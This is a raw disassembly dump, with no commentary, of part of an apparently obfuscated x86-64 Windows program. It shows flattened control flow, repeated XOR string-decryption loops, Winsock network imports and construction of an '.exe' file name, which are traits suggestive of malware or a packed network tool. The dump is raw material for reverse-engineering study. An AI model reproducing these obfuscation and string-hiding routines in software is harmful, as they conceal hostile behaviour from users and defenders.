movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x6d
jmp 0x14017ec15
movabs rcx, 0x93b219c7b38e86b8
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 8
jmp 0x14017f229
movabs rdx, 0x5e08bb7bd6f6d146
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_addr
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14017f226
movabs rdx, 0xf2b5fee41dc76662
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x14017e923
movabs rdx, 0xbd0ca098412fb0f0
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc r9
dec r11
inc r11
jmp 0x14017e923
movabs rcx, 0x8763424c6497fb7e
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x72
jmp 0x14017f1ab
lea rax, [r9 + 2]
cmp r8, rax
jae 0x14017edce
lea rcx, [r11 + rdi]
movzx eax, r10b
and al, cl
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0xf
jmp 0x14017eca3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14017ee0d
movabs rcx, 0x66e4bc391871e25a
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x76
movzx eax, byte [rbp + r11 + 0x8cc]
add rax, r9
add r11, rax
inc r11
jmp 0x14017e923
inc rax
cmp r8, rax
jne 0x14017ee3b
movabs rdx, 0x7e0d71cae3902b0
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x14017f229
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14017ee67
movabs rdx, 0x733393b467686d94
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xc
jmp 0x14017f05b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14017ee9a
movabs rcx, 0xa8dcf20044002306
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x2a
dec r11
inc r11
jmp 0x14017e923
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14017eca5
movabs rdx, 0x142fae97fd2f8dea
add rdx, r11
movzx eax, r10b
and al, dl
sub dl, 0x66
jmp 0x14017f1a1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14017eee6
movabs rdx, 0x1a571a55a4aad387
add rdx, r11
movzx eax, r10b
and al, dl
add dl, 0x4f
jmp 0x14017f1a1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14017ef14
movabs rdx, 0x5c4f501cd0391433
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x65
add dl, cl
jmp 0x14017f260
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14017ef42
movabs rdx, 0x91f8ae68acd0c9a5
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x7d
add dl, cl
jmp 0x14017f291
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14017ec17
movabs rcx, 0xc7a20cb489687f17
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x5f
movzx eax, byte [rbp + r11 + 0x8cc]
add rax, r9
add r11, rax
inc r11
jmp 0x14017e923
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14017efc6
movabs rdx, 0xcdc9787230e3c4b4
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0x8cc]
add rax, r9
add r11, rax
inc r11
jmp 0x14017e923
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14017eff4
movabs rdx, 0x391c3509ea132f98
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x28
add dl, cl
jmp 0x14017f260
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14017ec4f
movabs rdx, 0x7b146ad115a17044
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
jmp 0x14017f1a9
mov byte [rbp + r11 + 0x8cc], dl
inc r11
jmp 0x14017e923
movabs rdx, 0xe6672768ced0db28
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, byte [rbp + r11 + 0x8cc]
sub cl, al
add cl, r10b
sub dl, 0x18
add dl, cl
movabs rcx, 0x813bd68ebd1cb5e1
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x27
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x8cc], cl
jmp 0x14017f226
movabs rdx, 0x1c1085b4ab68909a
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, byte [rbp + r11 + 0x8cc]
sub dl, 0x36
add dl, cl
jmp 0x14017f260
movabs rcx, 0x9666aec74d8e522f
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x49
movzx eax, byte [rbp + r11 + 0x8cc]
add rax, r9
add r11, rax
inc r11
jmp 0x14017e923
movabs rcx, 0xf56a93e3b7c731d9
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x11
jmp 0x14017f229
movabs rcx, 0xbfc13597db2f7c67
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x2f
jmp 0x14017f226
movabs rcx, 0x546e790022001183
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x6b
dec r11
inc r11
jmp 0x14017e923
movabs rcx, 0x1ec51ab445685c11
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x77
inc r9
dec r11
inc r11
jmp 0x14017e923
movabs rdx, 0xe91bbc6868d0a69f
add rdx, r11
movzx eax, r10b
and al, dl
sub dl, 0x59
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
movabs rcx, 0x4b927842e085006f
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 9
add cl, r10b
mov byte [rbp + r11 + 0x8cc], cl
inc r9
dec r11
inc r11
jmp 0x14017e923
movabs rcx, 0x12764338f671d0d7
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x1f
dec r11
inc r11
jmp 0x14017e923
movabs rcx, 0xa72386a13d4265f3
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x5b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14017e923
mov r10, rbx
movabs rcx, 0x3bd0ca098412fb0f
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x69
movabs rcx, 0xb6e534da99b46b53
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x45
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x8cc], al
inc r9
add rax, r9
sub r11, rax
movabs rcx, 0x51b9e4008800460c
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x54
add r10b, cl
mov byte [rbp + r11 + 0x8cc], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x8cc]
add rax, r9
add r11, rax
inc r11
jmp 0x14017e923
movabs rcx, 0xd07e0d71cae3902b
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x2d
movzx eax, byte [rbp + r11 + 0x8cc]
add rax, r9
add r11, rax
inc r11
jmp 0x14017e923
movabs rcx, 0x707efeb4cd68a21d
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x35
jmp 0x14017e920
movabs rcx, 0x3ad5a068f0d0ecab
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x53
jmp 0x14017e910
lea rdx, [rbp + 0x176fd18]
jmp 0x14017f373
lea rdx, [rbp + 0x82d7d1]
jmp 0x14017f373
lea rdx, [rbp + 0x8cc]
lea rcx, [rbp + 0x12b0]
call fcn.1401a7310
test al, al
je 0x14017f409
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp - 0x67]
call fcn.1401a1810
cmp byte [rbp + 0x3dd], 0
je 0x14017f3e2
mov r8d, r12d
lea r9, [rbp + 0x3d0]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14017f3b0
lea rcx, [rbp + 0x3d0]
call fcn.14014cf40
mov qword [rbp + 0x3d0], r12
mov dword [rbp + 0x3d8], r12d
mov word [rbp + 0x3dc], r12w
jmp 0x1401a158c
xor r9d, r9d
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x2830]
call fcn.1401a1cd0
nop
lea rdx, [rbp + 0x12b0]
lea rcx, [rbp + 0x13b0]
call fcn.140135eb0
mov rdx, rax
lea rcx, [rbp + 0x13d0]
call fcn.1401372b0
nop
mov rcx, rax
call fcn.140135dc0
mov rdx, rax
lea rcx, [rbp + 0x2830]
call fcn.1401a1bd0
nop
lea rcx, [rbp + 0x13d0]
call fcn.140135dd0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp - 0x66]
call fcn.1401a1840
lea rdx, [rbp + 0x300]
lea rcx, [rbp - 0x65]
call fcn.1401a1860
cmp byte [rbp + 0x2d9], 0
je 0x14017f4d2
mov r8d, r12d
lea r9, [rbp + 0x2d0]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa
jl 0x14017f4a0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x2830]
call fcn.1401a2090
test al, al
je 0x1401a1471
cmp byte [rbp + 0x30a], 0
je 0x14017f532
mov r8d, r12d
lea r9, [rbp + 0x300]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb
jl 0x14017f500
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x2830]
call fcn.1401a2090
test al, al
je 0x1401a1471
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp - 0x64]
call fcn.1401a1890
lea rdx, [rbp + 0x84]
lea rcx, [rbp - 0x63]
call fcn.1401a18c0
lea rdx, [rbp + 0x150]
lea rcx, [rbp - 0x62]
call fcn.1401a18f0
lea rdx, [rbp + 0x290]
lea rcx, [rbp - 0x61]
call fcn.1401a1900
lea rdx, [rbp + 0x680]
lea rcx, [rbp - 0x60]
call fcn.1401a1920
lea rdx, [rbp + 0x400]
lea rcx, [rbp - 0x5f]
call fcn.1401a1930
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x5e]
call fcn.1401a1960
lea rdx, [rbp + 0x350]
lea rcx, [rbp - 0x5d]
call fcn.1401a1990
lea rdx, [rbp + 0x34]
lea rcx, [rbp - 0x5c]
call fcn.1401a19b0
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x5b]
call fcn.1401a19c0
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp - 0x5a]
call fcn.1401a19e0
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp - 0x59]
call fcn.1401a1a00
lea rdx, [rbp + 0x320]
lea rcx, [rbp - 0x58]
call fcn.1401a1a20
cmp byte [rbp + 0x2d9], 0
je 0x14017f662
mov r8d, r12d
lea r9, [rbp + 0x2d0]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa
jl 0x14017f630
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a1e30
mov ebx, eax
cmp byte [rbp + 0x2d9], 0
je 0x14017f6d2
mov r9d, r12d
lea r10, [rbp + 0x2d0]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r9b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xa
jl 0x14017f6a0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a1e50
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x13f0]
call fcn.1401a3680
nop
cmp byte [rbp + 0x30a], 0
je 0x14017f752
mov r8d, r12d
lea r9, [rbp + 0x300]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb
jl 0x14017f720
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a1e30
mov ebx, eax
cmp byte [rbp + 0x30a], 0
je 0x14017f7c2
mov r9d, r12d
lea r10, [rbp + 0x300]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r9b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xb
jl 0x14017f790
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a1e50
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1410]
call fcn.1401a3680
nop
cmp byte [rbp + 0x3ed], 0
je 0x14017f842
mov r8d, r12d
lea r9, [rbp + 0x3e0]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14017f810
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a1e30
mov ebx, eax
cmp byte [rbp + 0x3ed], 0
je 0x14017f8b2
mov r9d, r12d
lea r10, [rbp + 0x3e0]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r9b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14017f880
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a1e50
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1430]
call fcn.1401a3680
nop
cmp byte [rbp + 0x8a], 0
je 0x14017f932
mov r8d, r12d
lea r9, [rbp + 0x84]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 7
jl 0x14017f900
lea rdx, [rbp + 0x84]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a1e30
mov ebx, eax
cmp byte [rbp + 0x8a], 0
je 0x14017f9a2
mov r9d, r12d
lea r10, [rbp + 0x84]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r9b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 7
jl 0x14017f970
lea rdx, [rbp + 0x84]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a1e50
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1450]
call fcn.1401a3680
nop
cmp byte [rbp + 0x157], 0
je 0x14017fa22
mov r8d, r12d
lea r9, [rbp + 0x150]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14017f9f0
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a1e30
mov ebx, eax
cmp byte [rbp + 0x157], 0
je 0x14017fa92
mov r9d, r12d
lea r10, [rbp + 0x150]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r9b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x14017fa60
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a1e50
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1470]
call fcn.1401a3680
nop
lea rcx, [rbp + 0x1470]
call fcn.1401a3560
test al, al
jne 0x14017fb36
lea rdx, str..exe
lea rcx, [rbp + 0x1470]
call fcn.1401a3520
test al, al
jne 0x14017fb36
lea rcx, [rbp + 0x1470]
call fcn.140135dc0
mov rbx, rax
lea rdx, str._s.exe
lea rcx, [rbp + 0x1490]
call fcn.14013a940
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x14b0]
call fcn.140155d40
mov rdx, rax
lea rcx, [rbp + 0x1470]
call fcn.140135df0
lea rcx, [rbp + 0x14b0]
call fcn.140135dd0
cmp byte [rbp + 0x68f], 0
je 0x14017fb82
mov r8d, r12d
lea r9, [rbp + 0x680]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14017fb50
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a2150
mov byte [rbp - 0x57], al
cmp byte [rbp + 0x40e], 0
je 0x14017fbf2
mov r8d, r12d
lea r9, [rbp + 0x400]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14017fbc0
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a2150
mov byte [rbp - 0x56], al
cmp byte [rbp + 0x31a], 0
je 0x14017fc62
mov r8d, r12d
lea r9, [rbp + 0x310]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb
jl 0x14017fc30
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a2150
mov byte [rbp - 0x55], al
cmp byte [rbp + 0x35b], 0
je 0x14017fcd2
mov r8d, r12d
lea r9, [rbp + 0x350]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14017fca0
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a2150
movzx r15d, al
lea rcx, [rbp + 0x14d0]
call fcn.140135fd0
nop
cmp byte [rbp + 0x37], 0
je 0x14017fd42
mov r8d, r12d
lea r9, [rbp + 0x34]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14017fd10
lea rdx, [rbp + 0x34]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a2150
mov byte [0x1404e9d18], al
cmp byte [rbp + 0x32], 0
je 0x14017fda2
mov r8d, r12d
lea r9, [rbp + 0x30]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 3
jl 0x14017fd70
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a2150
mov byte [0x1404e9d19], al
cmp byte [rbp + 0x2a8], 0
je 0x14017fe12
mov r8d, r12d
lea r9, [rbp + 0x2a0]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 9
jl 0x14017fde0
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a2150
mov byte [0x1404e9d1a], al
cmp byte [rbp + 0x2b8], 0
je 0x14017fe82
mov r8d, r12d
lea r9, [rbp + 0x2b0]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 9
jl 0x14017fe50
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a2150
mov byte [rbp - 0x54], al
cmp byte [rbp + 0x32a], 0
je 0x14017fef2
mov r8d, r12d
lea r9, [rbp + 0x320]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb
jl 0x14017fec0
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a2150
mov byte [rsp + 0x60], al
cmp byte [rbp + 0x298], 0
je 0x14017ff62
mov r8d, r12d
lea r9, [rbp + 0x290]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 9
jl 0x14017ff30
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a1e30
mov ebx, eax
cmp byte [rbp + 0x298], 0
je 0x14017ffd2
mov r9d, r12d
lea r10, [rbp + 0x290]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r9b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 9
jl 0x14017ffa0
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x2830]
call fcn.1401a7f80
mov rcx, rax
call fcn.1401a1e50
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x14f0]
call fcn.1401a3680
mov rdx, rax
lea rcx, [rbp + 0x14d0]
call fcn.140135df0
lea rcx, [rbp + 0x14f0]
call fcn.140135dd0
mov qword [rbp + 0x2d0], r12
mov word [rbp + 0x2d8], r12w
mov qword [rbp + 0x300], r12
mov word [rbp + 0x308], r12w
mov byte [rbp + 0x30a], r12b
mov qword [rbp + 0x3e0], r12
mov dword [rbp + 0x3e8], r12d
mov word [rbp + 0x3ec], r12w
mov dword [rbp + 0x84], r12d
mov word [rbp + 0x88], r12w
mov byte [rbp + 0x8a], r12b
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x290], r12
mov byte [rbp + 0x298], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x680], xmm0
mov qword [rbp + 0x400], r12
mov dword [rbp + 0x408], r12d
mov word [rbp + 0x40c], r12w
mov byte [rbp + 0x40e], r12b
mov qword [rbp + 0x310], r12
mov word [rbp + 0x318], r12w
mov byte [rbp + 0x31a], r12b
mov qword [rbp + 0x350], r12
mov dword [rbp + 0x358], r12d
mov dword [rbp + 0x34], r12d
mov word [rbp + 0x30], r12w
mov byte [rbp + 0x32], r12b
mov qword [rbp + 0x2a0], r12
mov byte [rbp + 0x2a8], r12b
mov qword [rbp + 0x2b0], r12
mov byte [rbp + 0x2b8], r12b
mov qword [rbp + 0x320], r12
mov word [rbp + 0x328], r12w
mov byte [rbp + 0x32a], r12b
lea rcx, [rbp + 0x13f0]
call fcn.140135db0
cmp rax, 5
jae 0x140189a4a
call fcn.140167390
lea rax, [rbp + 0x1510]
mov qword [rsp + 0x68], rax
lea rdx, [rbp + 0x1410]
lea rcx, [rbp + 0x1510]
call fcn.140135eb0
mov r13, rax
mov qword [rsp + 0x78], rax
lea rax, [rbp + 0x1530]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x1450]
lea rcx, [rbp + 0x1530]
call fcn.140135eb0
mov rdi, rax
mov qword [rbp - 0x18], rax
lea rdx, [rbp + 0x1430]
lea rcx, [rbp + 0x1550]
call fcn.140135eb0
mov qword [rsp + 0x68], rax
mov byte [rbp + 0xcc5], 0x3f
mov byte [rbp + 0xcc6], 0x22
mov byte [rbp + 0xcc7], 0x26
mov byte [rbp + 0xcc8], 0x7e
mov byte [rbp + 0xcc9], 0x7c
mov byte [rbp + 0xcca], 0x3a
mov byte [rbp + 0xccb], 0x62
mov byte [rbp + 0xccc], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0xccd], 0x3a
mov byte [rbp + 0xcce], 0x39
mov byte [rbp + 0xccf], 0xac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcd0], xmm0
mov word [rbp + 0xce0], ax
movabs r14, 0x9ea4d508b9983c3c
movzx r11d, byte [rbp + 0x5d00]
movabs rsi, 0x9914edd8409ff77d
movabs r15, 0xf54163420d476623
nop
mov r9, qword [0x1404e9d00]
mov r8, qword [0x1404e9cf8]
nop
mov rbx, r12
cmp rbx, 0x1d
jae 0x140180f42
movzx r10d, byte [rbp + rbx + 0xcc5]
mov rdx, r10
nop dword [rax]
